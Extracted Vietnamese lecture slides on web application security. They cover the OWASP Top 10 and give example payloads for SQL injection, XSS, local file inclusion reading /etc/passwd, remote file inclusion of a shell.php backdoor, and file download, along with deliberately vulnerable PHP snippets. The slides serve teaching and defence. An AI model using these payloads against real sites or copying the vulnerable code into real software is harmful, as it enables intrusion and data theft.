1. Trang chủ
  2. » Giáo Dục - Đào Tạo

Bài giảng An toàn mạng máy tính nâng cao: Chương 6 - ThS. Nguyễn Duy

20 12 0

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Định dạng
Số trang 20
Dung lượng 1,22 MB

Các công cụ chuyển đổi và chỉnh sửa cho tài liệu này

Nội dung

Author: Nguyễn Trường Phú – Nguyễn Tuấn Anh.. Date: 1-5-2015.[r]

Trang 1

WEB APPLICATION SECURITY

Author: Nguyễn Trường Phú – Nguyễn Tuấn Anh

Date: 1-5-2015

Trang 2

ABOUT AUTHOR

•  Name: Nguyễn Tuấn Anh Nguyễn Trường Phú

•  Class: 23CCAN04

•  Unit: An toàn ứng dụng

Trang 3

CONTENT

1.  Web application attack and defense

2.  Modsecurity (mod_sec)

Trang 4

Web Application

attack and Defense

Trang 5

Nền tảng Website phổ biến:

•  Apache (httpd)

•  Nginx

•  IIS

•  Apache Tomcat •  PHP •  ASPX (ASP.NET)

•  JSP + Servlet (JAVA)

•  HTML + CSS / HTML5 + CSS3

•  Javascript / Jquery

Client – Side

Server - Side

•  MySQL

•  MariaDB

•  MongoDB

•  MemSQL

•  Access

•  SQLserver

•  MSSQL

•  ……

Trang 6

1 Website có thể bị tấn công như thế nào?

•  Thông qua Authencation (Các hình thức tấn công vào mật khẩu, giao thức mã hoá, hình thức chứng thực,…)

•  Thông qua Session, Transport,… (Các hình thức tấn công qua bảo mật đường truyền bao gồm cả MITM)

•   Thông qua Lổ hổng Web Application

•  Thông qua Lổ hổng OS (Đặc biệt nhiều đối với Windows và khá ít đối với Linux)

•  Thông qua Server Application/Software (Lổ hổng các service/software khác trên server: Mail, browser,adobe,java,…)

•  Thông qua Mã độc hoặc Backdoor được thiết lập từ trước

•  Thông qua các hình thức tấn công từ chối dịch vụ (DoS, DDoS, DRDoS, Spam, … )

•  Thông qua Crawler hoặc các kẻ hở trong configure và quản lý (lổ hổng phân quyền, lộ tập tin, đường dẫn nhạy cảm,…)

•  Thông qua Tấn công vật lý

•  Thông qua tâm lý con người (Social)

Trang 7

Lổ hổng Web Application

1.  Injection (SQLi, LDAPi, OS command injection,…)

2.  Cross Site Scripting (XSS)

3.  Broken Authentication and Session Management (Nguy cơ về quản lý phiên/session)

4.  Insecure Direct Object References (Các lổ hổng trong tham chiếu)

5.  Cross Site Request Forgery (CSRF)

6.  Security Misconfiguration (Lổ hổng trong cấu hình, triển khai dịch vụ web,…)

7.  Insecure Cryptographic Storage (Lổ hổng trong mã hoá dữ liệu nhạy cảm)

8.  Failure to Restrict URL Access (Các lổ hổng quyền hạn truy cập url nhạy cảm)

9.  Insufficient Transport Layer Protection (Lổ hổng đường truyền)

10.  Unvalidated Redirects and Forwards (Các lổ hổng chuyển hướng)

10 quy chuẩn bảo mật và cũng là 10 phân nhóm lỗ hổng bảo mật ứng dụng web theo OWASP 2010

Trang 8

Ví dụ về 1 số hình thức tấn công Web Application phổ biến:

•  SQL injection (SQLi)

•  Cross Site Scripting (XSS)

•  Local File Inclusion (LFI)

•  Remote File Inclusion (RFI)

•  Local File Discluse/Download (LFD)

•  …

Trang 9

Định nghĩa:

1 SQL injection

SQL injection (SQLi) là một kỹ thuật cho phép những kẻ tấn công lợi dụng lỗ

hổng của việc kiểm tra dữ liệu đầu vào trong các ứng dụng web và các thông

báo lỗi của hệ quản trị cơ sở dữ liệu trả về để inject (tiêm vào) và thi hành các

câu lệnh SQL bất hợp pháp

Trang 10

Ví dụ:

1 SQL injection

Truy cập chuyên mục SQL trên ceh.vn thấy URL có dạng: http://ceh.vn /index.php?page=SQl

è Câu truy vấn CSDL có dạng: “SELECT * FROM chuyenmuc WHERE tenchuyenmuc =“ + $page Trong đó có thể $page=$_GET(‘tenpage’)

Attacker cố tình truy vấn trên URL: http://ceh.vn /index.php?page=SQl or 1=1

è Câu truy vấn CSDL có dạng: SELECT * FROM chuyenmuc WHERE tenchuyenmuc=SQl or 1=1

Ta thấy vì 1=1 luôn đúng nên truy vấn trả lại tất cả những thông tin có trong bảng chuyenmuc

⇒  Thông tin bị khai thác => Lỗi

Attacker có thể thực hiện truy vấn phức tạp hơn, truy vấn các cột, trường, thông tin quan trọng hơn

Trang 11

Định nghĩa:

2 XSS

XSS xuất hiện khi một ứng dụng web cho phép người dùng nhập các dữ liệu vào mà

không thông qua kiểm duyệt nội dung, những dữ liệu này sẽ tương tác trực tiếp với

những người dùng khác cùng sử dụng website Nguy cơ tạo ra là hacker có thể

chèn các mã kịch bản như HTML, Javascript… (client side) nhằm ăn cắp

SessionCookie, thay đổi giao diện (deface) hoặc chuyển hướng đến trang có mã

độc khác

Trang 12

Định nghĩa:

2 XSS

Trang 13

Ví dụ:

2 XSS

if(!empty($_GET['name'])) {

$name=$_GET['name'];

print $name;

} else {

Code lây $name trực tiếp từ giá trị khung name và in ra thẳng:

Khi attacker không truy vấn bình thường mà inject mã javascript

vào khung name ó Truyền

giá trị trực tiếp cho biến name:

<script>alert(“Crazykid”)</script>

Lúc này được javascript được gán cho biến name và in ra

Như một câu lệnh chứ không phải là 1 truy vấn bình thường

ó đoạn javascript độc hại của attacker được thực thi

Trang 14

Định nghĩa:

3 LFI

Lỗ hổng cho phép các attacker có thể truy vấn các tập tin nhạy cảm trên

web server và đọc được

Nội dung các tập tin đó Ví dụ các tập tin nhạy cảm: /etc/passwd, /etc/

shadow, httpd.conf,……

Trang 15

Ví dụ:

3 LFI

Truy cập chuyên mục SQL trên ceh.vn thấy URL có dạng: http://ceh.vn /index.php?page=SQl

è Nếu code trang view có dạng:

<?php

$Bien=$_GET[‘page’];

Include $Bien; ?>

Attacker cố tình truy vấn trên URL: http://ceh.vn /index.php?page= / / /etc/passwd

è Lúc này trở thành giống như là ta code như sau:

<?php

$Bien=$_GET[‘page’];

Include / / /etc/passwd; ?>

è Attacker có thể đọc được nội dung của tập tin passwd trong đường dẫn / /etc/ trên server

ngay chính tại trang view

Chú ý / là chuyển lên một thư mục trong Linux Nếu server windows thì dung \ ó URL lencode = %5C

Trang 16

Định nghĩa:

3 RFI

Cho phép attack gọi đến một file trên web server hoặc trên server khác ngay tại web

server này

Ví dụ:

http://ceh.vn/page?=http://www.vietnamnet.vn

Nếu ceh.vn bị lỗi RFI thì nội dung trang vietnamnet.vn sẽ hiển hị trên ceh.vn

Nếu attacker đặt backdoor trên vietnamnet.vn dạng:

http://www.vietnamnet.vn/shell.php

Tại ceh.vn attacker truy vấn: http://ceh.vn/page?=www.vietnamnet.vn/shell.php

Thì nội dung backdoor shell.php sẽ được include vào source code của ceh.vn ó ta cắm

backdoor trưc tiếp trên ceh.vn

Trang 17

Ví dụ:

3 RFI

Code:

<?php $test=$_GET['test'];

include $test.'id=1';

?>

Và register_globals = off http://xx.xx.xx.xx/CEH/RFI/3test.php?test=http://ceh.vn/shell.txt

Input:

Out:

Trang 18

Định nghĩa:

3 LFD

Giống LFI nhưng thay vì attacker có thể đọc các file nhạy cảm thì ở đây attacker có thể

Download các file nhạy cảm về máy

Trang 19

Ví dụ:

3 LFD

Đoạn code sau:

<?php $test=$_GET['test'];

readfile($test);

?>

Hàm readfile() cho phép chúng ta đọc code file được truyền vào

http://ceh.vn/CEH/3LFD/1lfd.php?test=/etc/passwd

Trang 20

Phát hiện, kiểm tra các lổ hổng Web Application:

•  Ở vị trí attacker tấn công Opensource hoặc ở vị trị quản trị/chuyên gia an ninh kiểm thử Whitehat: Đọc source code, Debug Source code tìm lổ hổng

•  Tấn công CloseSource, Đa số, kiểm thử Blackbox:

q  Sử dụng phương pháp thủ công

Phương pháp Fuzzer vào các input

(Nhập vào chuỗi ký tự ngẫu nhiên hoặc có mục địch nhằm xác định lổ hổng)

Ví dụ: Thêm vào URL, khung Search, Login,… các câu truy vấn, thay đổi method, tiêm vô số ký tự,…

q  Sử dụng phương pháp tự động

Sử dụng các công cụ Scan, tìm kiếm lổ hổng

Ví dụ:

OpenSource: W3AF, Paros (Andiparos và Zed attack Proxy), Skipfish, Grabber, Zero Day Scan,…

CloseSource: Acunetix, N-stalker, NeXpose, Retina, AppScan, ParosPro, …

Ngày đăng: 09/03/2021, 06:18

🧩 Sản phẩm bạn có thể quan tâm

w